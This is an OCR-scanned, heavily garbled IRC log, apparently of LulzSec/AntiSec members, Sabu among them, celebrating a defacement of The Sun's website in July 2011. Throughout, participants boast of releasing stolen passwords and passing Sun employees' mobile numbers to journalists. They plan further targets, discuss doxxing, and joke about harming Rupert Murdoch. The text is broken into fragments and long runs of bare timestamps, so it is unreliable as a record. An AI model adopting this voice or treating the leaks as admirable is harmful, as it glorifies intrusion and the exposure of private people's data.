FUCK 
ape : P 

25 tweets queued in y twitter fall 

o^^^^^ashtag 

in 30 seconds 
lol 
ahhaha 

this workes :D 




can someone explain why they said Murdoch overdosed 



hahahaha 



ROFL 



I lol 

enow what 



Sing along: WE HAVE JOY WE HAVE FUN WE HAVE ROOT ON 
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#! sunnydays .log 

MURDOCH 'S SUN 

22:24 <^S^^±is w as better than expected! 

jOannepsi : i wouldnt know. 

lene 

me too 

what would I do if it wasen't for you guys! 

Sabu: 

http :/ /si. amazonaws . com/kym-assets/entries/icons/origi nal/000/001/253/everythi ng_ 
went_be tter_th an_expected . jpg?1257510959 
l^^^M th i 5 was really cool 

^S^^^M <TURNIP> I thought it was a clue too, but not worked it out 
isabu> I love this crew<3 
isabu> you guys are the bestest 

<TURNIP> maybe we give them too much credit... 
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init fast lol 




theyre going viral 
about you 

XD 

http : //pastehtml . com/vi ew/bOoai bxyl . html 

fame is fame. 

we can deface with these maybe 
<OMGLULZ> go register some domains with 
_ wut 

AnonActionUK we made BBCNews :d #Anonymous #LulzSec #AntiSec 
al ready 
yep 

at this time? 
BBC more awaake than sun? 
haha 

ol 

the newsint site went to microsite2 
http : //newsi nt . co . uk/sunday_ti mes_statement . html 

change the redirect to a new thingy 




. ul</statement_regardi ng_the_sun . 
message 



html 





could be grieat to 
^^^1 ack. . . 

variety :) 

http://newsint.co. 

lets make the lulzsec final 
P 

some one should tweet that 
lol 

will hate it 

ut 

http : //newsi nt . co . uk/statement_regardi ng_the_sun . html 

wonder what happens om +m 

294,000 followers 
its awesome 
: D 

RISING again? 

ttp : / /newsi nt . co . uk/statement_regardi ng_the_sun . html 
1 expect mine too 
not checking atm 
no time 
yeah man 
damn 



he just chmod the mircrosite2 

out of reach now? 

ahg 

but we still have those links 
not out of reach 
Empty Queue 

295,550 followers 
Paused: 121 

tweeting ^^^^^^ 
New Tweet 

we just cant write the webfolders 
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30 < 





you 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 
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22: 
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22: 
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22: 
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22: 
22: 
22: 
22: 
22: 
22: 
22: 
22: 



30 <( 
30 < ( 

30 <(0Sabu> 
30 < 

30 

31 <@Sabu> 
31 <©Sabu> 
31 <( 






33 < 




#! sunnydays .log 
1t doesn t get less :((( 
gimme some :p 

ttps : //twi tter . com/# ! /^^^^^status/93085926431014913 

I gave you 95,000 :P 

_ fair point lulz 
Fuck you all! I have 201 followers! 
beat that 
oh actually 
ol<ay it just went DOWN to 295,000 
472 

you basically revived lulzsec 

you need to be doxxed more lol 
ack up to 295.319 
i got 271 followers 
due to posting 
3 passwords. 

<SamFerry> Lulzsec is like your girlfriends period, just when 
gone, it's back. 

this guy just posted my quote of the month 

1 got 36 followers 
gah 

oly hit ^p^^l 

twitter^uJCKS up now 
lol 

the twitter went from 280k to 295k in like 20 minutes 

ROFL 

website no werky 
newsint tweeted? 
Lol :( 

^^B^^t^P^ '■ //twi tter . com/# ! /^^^^Bstatus/93085926431014913 

give me link 

i tweeted it thar 
ol 

i got +1000 

okay hold on 
in the last 30 minutes 

DOES THE STATEMENT 
REDIRECT TO LULZ?! 

ahahahaha 

XD 

yes 
:D 

i no rite 

yup! 

props to 
can you paste raw link in here? 
twitter being gay 

Thought it would be funny 
awesome 

http : / /newsi nt . co . uk/statement_regardi ng_the_sun . html 

we are lulzsome 
:D 

http : //newsi nt . co . uk/statement_regardi ng_the_sun . html 

ah f u 

you tweet that hah 

gimme url tho 
i cant find it otherwise 
its all a mess 
:p 

http : / /newsi nt . co . uk/statement_regardi ng_the_sun . html 
This was a lulzy day! 

i did not expect we get that much impact with this little 

)ut the deface was AWESOME 
still got liek 
_ 90 passwords 
you read headline., believe it... 
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22:34 
22:34 
22:34 
22:34 
22:34 
22:34 
22:34 
22:34 
22:34 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
is it? 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:35 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
22:36 
drinks 
22:36 
22:36 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 




we all love us 



#! sunnydays .log 
you read artiucle get in doubt 
you see comic 
you lulz 

PERFECT 
BRILLIANT 

yep 

we're doing good last weeks 
awsome work bros 
this made tons of ppl happy today 
Sabu: trust the sudden lulzcats at work 
we do it right., somehow 
< @Sabu> i ndeed 
<^^^^^| cause. 

<g^^B <3 

< @Sabu> < 3 

< g^^^^B and fight for the exact same thing 
< g^^^^M love you guys 
< g^^^^^B love it 

<n^^^^ love love love 
< (gsabu> did anonops get ddosed? 

<^H^^^^| some one should tweet, "Not so fun to get hacked Mr. Murdoch, 

U MAD? 

<^^^^^H love button 
< @Sabu> my connection died 
<<^^K^^^ yeah sabu 
< gsabu> RO FL 

<^^^^^P I deleted the tweet 

<@Sabu> told you 

< @Sabu> i t'd kill our ire 

<^^^H CIRCLED ERKING VAYAVAY no wait, i have a vag 
< @Sabu> c ircle jerk indeed 

< ^^S^^ ut I must say 
<M^^^^ if you use mibbit 
< ^^^^M it should work 
<<^^^^M said so 

<(asabu> we^^n owe and ^^^^^^ respects with this one 

maybe ask^^Ti :x 

want me to tweet that? 
ot 1 rc.lc tho 
should i release some mobile phone numbers? 

they cant cope with it 
people need to report that sun is down! 
and they aint got any number 

if I ever meet you, I will buy you both all the 

and possibly sex 
Lol 

WE GOT THE SUN DOWN... NEXT TARGET: THE MOOOOOOOOOOON ! 

lulz 

< @Sabu> yes 
<^^^^^^P Saturn. 

< g^^^^M you guys have outdone yourselves here, this is superb 
<g^M^ ^B ^ to ast to you 

< @Sabu> ^ ^^J just wait till we drop mantech 
<^H^^lTTTtweet that one 
<@Sabu> oh baby. 





Oh and yes, welcome to the way of working that's the lulzsec 

It's always like this :P 
YOU have 299,931 followers 

you can if you like 

i wi ^^^^ 

i 1 bobaggi ns2k ©AnonymousIRC OLulzSec Set your controls for the 
The Sun? #progFiack 

nice pink f1oyd reference :) 
YOU have 298,694 followers wat 
harr 
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22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 
22:40 



lstatus/93088785851621376 



I wanna rm 



22:41 
22:41 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:42 
22:44 
creds 
22:44 
22:44 
22:44 
22:44 
22:44 
22:44 
22:45 
22:45 
22:45 
22:45 
22:45 
22:45 
22:45 
22:45 
22:45 



# lsunnydays.log 

yay 300k today 
YOU have 299,962 followers 
in Ih? 

soooo close 
well 

10 minutes? 
lol 

You have 299,521 followers 

stop going down damnit 

http : //twi tte r . com/# ! /anon_^^_ 

YOU have 299,139 followers 

RT pis! 

if i giv eyou my followers 
luctuating shit 
you have 
300k 

DAMN TWATTER HOW DO YoU WORK 
You have 300,355 followers 
DING DING DING 
lol 

oly shit lol 
DING 

So do people have copies of all the dumps, 

nux box 

u> rt 

ol 

m ce 

year^^^^^ 

someone has? 
k 

i got verything backed up 

http : //twi tter . com/# ! /anon_^^Bstatus/93088785851621376 < 

splendid \o/ 
these journalists need to get informed 
let lulzsec do that 

1 tnrow in a slight reference? 
give him some., he deserves it :x 

elps 
to zel^a" 

are those numbers to Sun? 

yeah 

_ hold on 
mobile numbers 

giving them directly to my journalists on Skype 
' theyre sun employees mobile numbers :P 
okay retweeting now 
■^^^H sure 
CnecKquery 

https : //twi tter . com/# ! /^^^^^tatus/93089576490504193 Si i ght 

_ if you have a request too 
^el free :P 
also RT 

rt ' ed 

I RT'd you 
from lulzsec 
done 

goo^teamwork :) 
shit what the ^iq 
thy IP =) 




RT 




117b tweets queued in my twitter fall 

i ONLY FOLLOW ANTISEC 

)u> I'm watching CNN 

^ i am not even logged in 

)u> Its being seen live 
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22:45 
22:45 



22:45 
22:45 



22:45 
22:45 





<t 

<@Sabu>" 
22:45 <@Sabu> 
22:45 <@Sabu> 

<@Sabu> 
22:45 <<S^^m 
22:45 <(asabu> 
22:45 <MiH 
22:45 <(asabu> 
22:45 <@Sabu> 
22:45 <@Sabu> 

<( 

<@Sabu> 
22:45 <@Sabu> 
22:45 <@Sabu> 
22:46 <@Sabu> 
22:46 <(asabu> 
22:46 <( 
22:46 <( 
22:46 <( 

22:46 <( 

22:46 <@Sabu> 
22:46 <@Sabu> 
22:46 <@Sabu> 
22:46 <(asabu> 
22:46 <@Sabu> 
22:46 <1|H 
22:46 <@Sabu> 
22:46 <@Sabu> 
22:46 <( 
22:46 <( 
22:46 < 
22:46 < 
22:46 < 
22:46 <' 
22:46 <' 
22:46 <' 
22:46 <' 
22:46 <' 
22:46 <' 
22:46 < 
22:46 <@Sabu> 
22:46 <(asabu> 
22:46 <( 
22:46 
22:46 
22:46 
22:47 
22:48 
22:48 < 
22:48 < 
22:48 <' 
22:48 <' 
22:48 
22:49 
22:49 
22:49 
22:49 < 
22:49 <' 

22:49 <' 

what's going 
22:49 <' 
22:49 <' 
22:49 <' 

22:50 < 

http://englis 
22:50 < 







#! sunnydays .log 

shit 
HAHAHAHAHA 
IMW ATCHING IT 
LULZSEC 
7 

on cnn 

HAHAHAHA 

oh yeah 

Sabu: really? 
OMFG 
THEY 
JUST 

WAT 

READ 
THE 
SONG 

HAHAHAHA 
AHHAAHAH 

STRIKE 

the fuk? 

STRIKE 
STRIKE 
THE GUY JUST SAID 
WE HAVE JOY 
WE HAVVE SUN 
WE HAVE MESSED UP 
MURDOCHS SUN 

where 

AHHAHAHA 
CNN TV 

YESSSSSSS 
YESSSSSSS 
YESSSSSSS 
HAHAHAHHAHHAHAHA 

someone please recordthat 

WE HAVE FUN 
MURDOCH'S SON 

im tempted to tweet 

HAI CNN 

omg 

:d 

CNN LIVE 
BABY 
YES 

awesome 

going to tweet 

XD 

brb 

https://twitter.eom/#!, 

epic, rt'ed 

guys wanna tweet about that guy who was found dead today 
the whistleblower 

draw some attention to him? 

sun up for me 

but redirecting to ©lulzsec 
yes 

D 

Make up a tweet 
because id love to 

i think murdoch will get a hart attack when he knows 



lstatus/93090476915298304 




twas too shrot in the news today 
lol 

can you hax murdochs pacemaker? 

h. aljazeera.net/news/europe/2011/07/2011718201941133707.html 
lol 
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) 




22:50 <i! 
22:50 <C 
22:50 
(For REAL! 

22:50 <f 
22:51 <(i 
22:51 <(i 

22:51 <(i 

Rupert Murdoch' 
#phonehack 
22:51 <<i 

22:52 <i 

22:52 <(asabu> 
22:52 <(! 
22:52 Ki 




#! sunnydays .log 
Imagine if he actually had a heart attack 
WE would literally be internet superheroes 
the would have to repost the story "Media Mogul Found Dead 

*they 

Tweeting 



ol 

liam_1993 RT (aop_Britain: http://t.co/50f436M OpBritain hacks 
s fanpage ©anonymouSabu ©anonops @AnonymouslRC #anonymous 

minor i guess 

but shouldnt be overlooked in context 
e might just quit his empire 

guys I think this one has made everyone love us 
https : //twi tter . com/# ! /^■^^■status/93091749664268288 



22:52 <@Sabu> or go after us hard 




I am not seeing a single negative tweet 
we are Gods now 
RT that too if you please 



22:52 < 
22:52 < 
22:53 



we get the facebooks too 



I wi I I buy you a castle 
you deserve it 

I knew everyone hates murdoch and co. 



I can't wait to see if 




and 



tips his hat again to ■■■ 

has joi ne^^^unnydays 



22:53 < 
22:53 < 
22:53 

22:53 <(< 

22:53 <<S^m 
well don^^O 
22:54 <( 



sunnydays L+o by ChanServ 

aye., they are our captains of the hours, get the medals! 

IMMEDIAT ELY 
shoots ^^^B 
sorry having fun now 
: P 

freezing champagne for the guise 



ohai guys :D just came back from beach and saw this epic pwnage. 



https : //twi tter. com/# ! 



would you mind retweeting 



22:54 <' 
eye? i t 
22:54 < 
22:54 
54 




think 



status/93091749664268288 

1 started this shit by tweeting too early tho 
post here in channel was a "GO" 
en he said "brb Ih and left" 
nope 
_ lol 

and so i tweeted. . . 
307,000 followers 

Opps, I got home and looked at the IRC... Oh shit!!!!!! 

hi H lol 



or didnt 



i rect quickly! ! I 
rofl 



57 <@Sabu> hi 



really shit 
700 followers 
hmm 1 000 000 in coupls of weeks 
this worked out 

http://freze.it/pw <-- 

I was just hoping it worked, epic fail otherwise 

©.0 

BEAUTUFULLY BY CHAOS 
CHAOS OWNS! 

https : //twi tter . com/# ! /^^^^^status/93091749664268288 but 

sean was eddy . . and he has a GF now? 
i heard he was happy, 
no wait 

i confuse all nicks 

was me before, too. 
yepTol 
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22:57 < 
22:57 < 
server 
22:57 
;58 
;58 
;58 
:58 
;58 
;58 
;59 
;59 
:59 
:00 



22; 
22; 
22; 
22; 
22; 
22; 
22; 
22; 
22; 
23; 



23:01 

23:01 

23:01 

23:01 

23:01 

http: 

23:01 

23:01 

23:02 

23:02 

23:02 

23:03 

23:03 

23:03 

23:03 

23:04 

23:04 

23:04 

23:04 

23:04 

23:04 

23:05 

23:05 

23:05 

23:05 

23:05 

like 

23:05 

23:06 

23:06 

23:06 

http 

23:06 

23:06 

23:06 

23:06 

23:07 

23:07 

23:07 

23:07 

23:07 

spree 

23:07 

23:07 

23:07 

23:07 

hate 

23:07 

23:07 

they 

23:07 

23:07 

23:08 

23:08 





#! sunnydays.log 
perfect privacy better live up to their name!! 

I made a bit of a boo boo and didn't change from the London 

Somebody is getting raided 

11 setup some vpn accounts to shar 
guys 

:e being on vacation this weel< xD 

im just 

letting #antisec 
go vi ral 
for 5 minutes 
the redirect still working 
I'm going on vacation for a week tomorrow 
Fun start to it 

|oy it 

care and have fun ^^^^^g :) 
will do 

take care yes yes 

_ Did shift manage to setup the dedi by now? 
"05 < evilworks> [CHECK] spoonzy, It's not just you! 
i.uk looks 
1 think yep 
times down too? 

oh nice :D 

yep conf i rmed 
times down 
haha 

we had no access to that at all lulz! ! 

ol 

posted another pass but just for a minute 
should tweet that for opBritain 
bahahaha 
they did it 
https : / /twi tter . com/# ! /shaparana 
can we verify this? 

then they should get some voicemail too :D 
however 

don't tweet that yet 
can some VOIP them 

A 

those guys could of just put up the num of someone they don't 

we got to watch out 
if they are right 
epic! 

//www. guardi an . co . uk/medi a/2011/ j ul /18/sun-websi te-hacked-1 ul zsec 
murdoch is so fucked tomorrow! 

wai t 

_ I hate Charles 

we can still reach some anons in uk 
to go there with him 

wasn't talking to Charles by the way in the slightest 
he's just out to get me 

tomorrow I'll have some "free time"... when ^^|gi rl is on shopping 

j> 

< 



u 







@ that 












pir^L^K 






because 




those guys could of just put up the num of someone 



aware 

can we verify this? 
servers aare shutdown now? 
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23:10 ™ 

23:10 <©Sabu> 




#! sunnydays.log 

has quit [Ping timeout] 



23:11 <(! 
23:12 < (i 

23:12 <(asaDu> thought to be the member known as 
who lives in the Netherlands. 

23:12 <@Sabu> please tell me whats not true 

^^course not 

in fact, everyone knows I'm from the UK 

Charles Arthur is being a cockhead 

Already lulzed at that. 
iSabu> kk 
23:15 <@Sabu> <# 
23:15 <@Sabu> <3 
23:15 <@Sabu> wheres 



a Swedish-born citizen 





time to work on new project ;] 



did we used the #TheSunToastedTuesday or that hashta we said 
As said we can even work without him. The information he provided 

But i think he will come back 
23:17 < (asabu> t rue 

23 : 17 <(c^|^H http : //twi tter . com/# ! /AnonymousIRC/status/93098049492103168 
23:17 <(£^^B :P 

23:18 <@Sabu> dont forget endgames. us or what was their site? they took their 
shit down at the fear of us owning them 
23:18 <@Sabu> I forgot their site but it went down 



23:15 < 
23:15 < 
23:16 < 
23:16 < _ 
is mighty 
23:16 <' 



23:18 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 < 
23:19 <' 
23:19 < 
23:19 < 
23:20 
23:20 
23:20 
23:20 



we must have scared the fuck out of them 

yar endgames is half -level boss tho 
and we did not even have root :D 
not quite that far 

damn we should of made a hashtag 

lets take BabyTech f i rt 
im gonna sleep now 
awesome work today \o/ 
l,138Followers le wut 




put a hashtag in 

THANK YOU SIR! 

1 I I release another password 
Couldn't of done it without you 

Fantastic work! 

as said, same goes for you 



23:20 <@Sabu> goodnight 
23:20 <@Sabu> you sexy motner fucker 



23:20 < 
23:21 < 
destroy 
23:21 < 
23:21 < 
23:21 < 



hope i dont miss anything on mantech : -/ 

whiteHatForums @AnonymouslRC You's idiots destroying trying to 
important news websites. Bunch of #Fags. 
good night 
rofl 

WhiteHatForums OAnonymouslRC You's idiots destroying trying to 




destroy important news websites. Bunch of #Fags. 



23:21 <ii 

23:21 <i 

23:21 <@Sabu> 
23:21 <(i 

<(i 




the fuck? 

WHF 

ol 

ironic i gues 

they are premium troll z :D 
e srs? 
i fear yes 
:p 

lol 
mad :-/ 

theyre the fi rst 
ut too bad for him that we are not 
:D 

dont u think twitter will be asked to shutdown lulzsec account if 



it becomes too big? 
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23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:23 
23:24 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:25 
23:26 
23:26 
https: 
23:26 
23:26 
then r 
23:26 
23:26 
23:26 



#! sunnydays .log 

lol 
nope 

too late 
twitter wont do that 

that border has been crossed long ago 
they set up a fucking hotline number 
to take ddos requests 
i mean 
true 
ok 

how much TOS violations CAN you do 
lol 

ttp://www.youtube.com/watch?v=DG7lURgryjA thats amazing 
twitter ears $$$ on lulzsec also 

we posted direct links to hacked fox linkedins 

ttps://twitter.com/#!/^^^^^status/93099482996162560 

we posted UK ATM data 
we posted samples of Sony codes 
do u know murdoch suffers of really bad charcter 
lol 

we posted death threats at one point 

therse your hashtag 

1 would like to have a webcam on him now 
for some reason, twitter loves us 
use that hashtag for any new stuff if you want to? 



that are most of my mentions 



'twi tte 



top peop 




fro nt page o n google news 
(c^^^^^l hahahahahah <- 
no negative ones 

its the effect now 
ey power down 
simply cause we CLAIM to have root 
and pwned them 
http : //news . googl e . com/nwshp?hl =en&tab=wn 
frontpage 

thats enough to strike phear 

XD 

& 

r . com/# !7anonesc/status/93099915219189760 
fon t page of google news quickly 

SgH^^ hacking Newsint and tweeting contact details for 
e to pu^^^se their unethical hacking practices. Pot? Kettle? 

XD 

well thats kind of 
negative 
a :D 
lo^B 
rtec^^ 



<3 
ok 
abc 
msnbc 
usa todzy 

telegraph (of course) 



Canonops) 



23:27 < 
23:27 < 
23:27 < . 

the repo 

23:27 <' 

121 seconds] 
23:27 < 
23:27 < 
23:28 < 
23:28 < 
23:28 < 
23:28 < 




Starting query in anonops with Theory 



03:05 B 
cnet 

^^■'-'5 |HHH this horde could be used to expose the death of 
o did the whistle blowing 
03:30 ^1 ^^^1 [^^^^^^^^^^^^^^^1 has quit [Ping timeout 

pcmagazi ne 
wat? 
forbes 
wi red 

national post 
yes, strie 
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tweet 
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32 
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23 


32 




23 


32 


< 


23 


33 


< 


23 


33 




23 


33 












#! sunnydays .log 

stri ke. 

its PERFECT timing 
thats the sweetest thing of it 

TIME 

they WILL BRING THIS UP tomorrow 

in parliament 

there are protests announced btw 
sure 
1.30 

before court 

^^^■kerpi a-B7AA2c37. slut. nude. jpe.gs] has joined #!sunnydays 
wesnould call for anons presence there 
isnt it? 

XD 

hi po 
lol 

you came late 
for the party 
<3 

has quit [Ping timeout] 

1th _ 

lol 

yes we should 

ces" 

but its 

i was just tweeting you 

XD 

fu 

hort time 

>mfw Murdoch's face right now 
only like 12h 

I imagine it looks something like a walnut being boiled 
he be fumin' 
<#<33#<# 

XD 

lol 

hai <3 

you paste those comic strips? 
the f i rst one ye 
1 wi sh i could have seen the deface ;_; 
ai 

it should be mirrored 
what about second one, anywhere for it? 

<: 

err 

res a freeze 

dont think so 

http://twitpi c . com/5sb7rl 
_ *somewehre" 
wasnt disclosed so far 

I guess we can just tweet the second one then 
we can still use it 
my thought 
tweet et 

hmmm k. . but wait then, put on imgnur antisec and let 
rom Is? 

u should save something for tomorrow during audience 
and i tweet from my own >;( 
did the comics get pasted? 
i have some screenshots too 
whats a working naonops server? 
GOD 

SO MANY NEWFAGS HERE 
:3 

7 
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#! sunnydays.log 

23:33 <^ 

23:33 <(c^H~|^^^^^^^^H 1s pretty easy to tro11 :o 
23:33 "^^^hHuIz 
23:33 < g|^^^B Sabu: sec 

23:33 <^^^^^| 1 have some nice query 



23:33 <^^^H^^H i went from 7 listed to 22 listed 
23:33 <^^^^B|| wut 

23:33 <(g^^^^^^l:27 <^^^^| could you give me all current leaf IP with server 
names? just would want to note them down once without going thrugh the RR 
23:34 <^^^m 21:27 um 

23:34 <^^^^H 21:27 <^^H im not sure i haev them with names even 

23:34 <(£^^h5 21:27 <^^B [DNS] Looking up i rc . anonops . 1 i . . . 

23:34 < someone paste me some links of the madness i can't beleive i always 

miss it xD 

[DNS] Canonical: i rc. anonops. li Numerical: 
[DNS] Numerical: 208.64.124.233 

[DNS] Canonical: gratis-sparen-und-vergleichen.com 

[DNS] Canonical: hosted-by.leaseweb.com Numerical: 

[DNS] Canonical: unlinked. t-n-media.de Numerical: 

cure 
f el city 

last one is corey 

felicity* 

43 and 4 are ^H^H^ and 

time to sort tn^^^^yet 
s/43/3/ 
the typos lol 
23:34 <(^^^^H ny more questions? 
23:34 <^^^B :p 

23:35 < g^^^M TOO MUCH VACATION IS BAD 

23:35 <^^^^H tne fun was on twitter heh 

23:36 <^^^^H^wonderi ng what will happen if u tweet a direct link to antisec 
23:36 < (^^^^fc but yeh we have good mirror of deface? 
23:36 < (^B|^J with 'come on to the party!' 
23:36 < ^B^^M mibbit should stand 
23:36 < g^^^^B ir c.lc not sure 

23:36 <^^^^^^^H ^ have the html file wll I upload it? 
23:36 < g|^^^^^ B or a zip of it all 
23:36 < ^^^^M hmm 

23:37 < g^^^^B should be instaviewable 

23:37 <<S^^^^M ^O'^ spreading 

23:37 <p^H^H pastehtml? 

23:37 < @Sabu> o k im back on 

23:37 <(£^^^^| well pics... 

23:37 < (asabu> t hanks ^^pH 

23:37 <^^^^H can yoT^^i^ude pix in pastehtml? 

23:38 < g^^^^B n ever really bothered to find out 

23:38 <^^^^^HH yo>J can do every html stuff 

23:38 < (^^^^M ~usual 1 y i just copy internal sites there :p 

23:38 < (^^^^M source code 

23:38 < g^^^^B a h okay, just refer 

23:38 < g^^^^M yarr 

23:38 < g^^^^B yar but the pics need to be., hosted., reliable 
23:38 <^^^^H need to allow to .. get there etc 

23:39 <^^^^H but yeah should definitely tweet a decent copy of the deface 

23:39 < g^^^^B c ause it was the bestest deface antisec ever did 

23:39 <(^^H1^^| or the freeze 

23:39 <^^^^B sec 

23:39 <^^^^SM http://freze.it/pw 

23:40 <^^^^Swait did we check h-zone? 

23:40 <^^^H zone-h 

23:40 <<3^^SM t^ciybe someone submitted 

23:40 < nice xD 
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23:34 <c 

194.8.74.43 
23:34 <(< 
23:34 <(i_ 
Numeri cal 

23:34 

94.75.228.146 
23:34 <(£^^H 
93.114.43.188 
23:34 <(< 
23:34 <(< 
23:34 <(! 
23:34 <(! 
23:34 
23:34 
23:34 
23:34 
23:34 




1 21:28 




1 21:28 
1 21:28 
111.130. 




1 21:28 




1 21:28 




1 21:28 
1 21:28 





XD 
21:28 
21:28 
21:28 
i didnt" 

21:29 

and move out 
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notice a pattern? 



# lsunnydays.log 

23:40 <@Sabu> ^|^p verizon is fucking with phalse again, 
every big drop w^oo they kill his server 
23:40 <@Sabu> hes going to go on the offensive 
23:40 <(asabu> thanks to it 

< i just read a news article about it it says we have mails? 

<J^| is tht true? 
<(3SaDu> no ;) 

<©Sabu> you know we like to mindfuck<3 
oh :D 

:D 

seems not 

Sabu: they fuck with all 
i just pretend to not notice 

hopefully the police have to seize their mail server to 



23:40 
23:40 
23:40 
23:41 
23:41 
23:41 
23:41 
23:41 
23:41 
23:41 




investigate now 
23:41 <f 
23:41 
23:42 

23:42 




know which nodes ar allowed 
letmy screens idle in the pubshit chans 
I have a tar of the deface 
whats a good place to upload too? 
mediafi re? 

can you transfer it into something generic? 

need one view one click 
ok 
zi p? 

heh 

can someone host it? 
. link = PAGE 
If I send the files? 
herwise it wont spread 
hmm lets see 

well i need someone to host the images 

FUCKING 



free hosting; 
lol 

how about 

mu rdochexposed . bl ogspot 
http : //www . i nf o rmati onweek . com/news/government/secu ri ty/ 
reg and just implement there 

subtle pun to jester and the doxfailuer without ever mentioning a 



Sabu : 
P. 



is that sex? or rather annoy? 



3tw th anks to whoever did paranoiac rypt :D 

23:42 ^g^H I know your very busy (understatment) but we the 
people of Liverpool nav^oeen fighting the Sun newspaper for 22 years, you have 
made ALOT of people very happy! www.dontbuythesun.co.uk thanks! 
liverpool is going crazy 
i heard that 
_ yeah 

maybe city will burn down lol 
got that in my mentions too 
WE won a LOT today 
lol 

with. . . so little 
hahaha 

and they have NO clue what we have i nstash 
http : //www. youtube . com/watch?v=u-VR39-XuwY 
god i love this shit 
posted another empolyee 

|kerpia-B7AA2c37. slut. nude. jpe.gs] has quit [user quit: Lost 

http : //www. youtube . com/watch?v=kY06lgyN_RM 1 ul z 
dem comments 
lol 

It was a lot of fun from one hidden ifrane 

kerpi a-F44DBAl2 . f ckh8 . 1 ssnts . s-andreas . gi ganode . net] has 




J01 ne 



! sunnydays 
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23:51 < 
is 1n 




#! sunnydays .log 
just hid that with 



the guys who 
rouble 
we are good 
even though 
ove you guys 
©weeddude weed 

BREAKING NEWS: 

Via ©mpoppel) 

can anyone conf i rm/deny? 
317,000 followers 
we went up 27,000 
ttp : //i magebi n .org/163722 
http : //i magebi n .org/163723 
Athesun defacement head and 



CSS instead of just removng it 
thing mindfucked everyone 



at that :D our UK ATM 
it was just co-ords 

\:D/ 
Dude 

Rupert Murdoch is considering to step down as CEO of 



comi c 



http : //www . tel egraph . co . uk/news/uknews/phone-hacki ng/86465 58/The-Suns-websi te-hac 
ked-by-Lul zsec . html 

©WhiteHatForums is mad as hell right now. +1000 trolls for me 

com/#!/jamesrbuk/status/9310622 5184653312 



http: //twitter. 
LMAO WE WIN ! ! 

News international's DNS servers (link web addresses to 
,024 web addresses are down. Likely protective takedown by 




00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 

] 

00 
00 
00 
00 
00 
XD 
00 
00 



00 
00 
00 
00 
00 
01 
01 
01 
01 
01 
01 
01 
01 
01 
01 
02 
02 
02 
02 
02 
02 
03 
03 
03 
03 
03 
04 



changed Tue 

XD 



Jul 19 2011 




tSabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
<©Sabu> 
<G 



sweet 

hm thats to post 

ahahahaha 

1 mao : D 
owned 

tweeting that 
guys im going to eat with the fam 
if anything happens 
■^■H has my nmber just txt me 
D^TacK in ~4 hours 

AKA IM GETTING SOME PUSSY BITCHESSSS 
hav e fun and take care sabu 
<^S^^^H love ya <3 
<(0SaDu^<3<3<3 

<@Sabu> love ya too glad you re back 

im off for a bit too guys :D 
gonna wind down here too :D 
It was a successful evening! 
gni te/af ternoon/morni ng/eveni ng/whatever 
for y'all 

sal utes 

RT <^^^^^H Fun fun #fun < in the Sun Sun #Sun.... 
lol ^^^^ 
goddamn him 
well gnite 

4b27001e.b8C70a02.3978755b.ip] has quit [User quit: 




thei r 
3u 

could 

3 sabu :D 
wonder if 



whole internal network is down 

fuck them up publishing their papers/shite!!!! 

they will report on the hacking in their shitty paper? 




they 
wi 1 1 



did it 
laugh if 



when it comes back up they didn't find all the 
my fingers they will not find 



1 cross 
doubt it 

the beto marcico one 
in fact I doubt they'll even produce 
and twitter.com is FUCKED with lag 
Twitter is over capacity. 
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00:06 <@Sabu> 
Twitter Statu 
00:06 < 
00:07 < 
00:07 < 
00:07 < 
00:07 
00:08 

00:08 . 

aboard the Lu 
00:09 <@Sabu> 
00:09 <@Sabu> 
00:09 <@Sabu> 
00:09 <^^H 
00:09 <@Sabu> 
00:09 <@Sabu> 
00:09 <(asabu> 

00:09 <mmm 

00:09 <@Sabu> 
00:09 <@Sabu> 
00:10 < 
00:10 < 
00:10 
00:10 




#! sunnydays .log 

Please wait a moment and try again. For more information, check out 

s » 
lol 

well twitter got more traffic 
so i think they r enjoying this too 
that's probably our fault 
we need our own server like Beebs 

has quit [Ping timeout] 

just wanted to say agai n tha t I'm delighted to see you guys 

Iz ( ^^^g ) 

wai t 

ooe^tnis mean you're reviving lulzsec? 

has that a sexual y meaning too? 
yes 
very 

#anti sec/1 ulzsec till I die Yeaaa yeaaahhheee 

XD 

yeah twitter is fucked 
look at it 
_ completely fucked 
we need to get the traffic graphics 
lemme check trendmaps 
http : //t rendsmap . com/topi c/%401 ul zsec 
oh sweet lord 

http : //twi tpi c . com/5s9xee 

yo 

you there? 

Mirror of the deface 
oly shit 
some guy that we retweeted 
note that we only retweeted him 



00:13 
00:13 
00:13 
00:14 
00:14 
00:14 
like all 
00:14 <' 
00:14 
00:15 
00:15 
00:15 < 
00:15 <' 

00:16 

00:16 <(cfsabu> 
00:16 < 
00:16 <@Sabu> 
00:16 <(asabu> 
00:16 < 
00:17 < 
00:17 < 
00:17 < _ 
art/videos 
00:19 < 
00:20 < 
00:20 < 





he is the #1 most trended user in UK 
right now 

LOL 

LOL 

LINK ME 

http : //t rendsmap . com/1 ocal /uni ted+ki ngdom 
bro 

anonymousabu 
is trending in UK 
#4 

we are globally trending, look at the first map 
llol 

ook how fucking big "Lulzsec" is in UK, it's so big it covers 

urope 

that's pretty fucking big 
lol 

unlucky Murdoch, he might resign in the morning? 
top trending story on google news 

» ) 

1 

lol 

ok going outside brb 

I hope they can't go to print with their network down 
legion is a viaeo/hacker type 
e wants to make vids for us 
nice 

we also have others making videos 

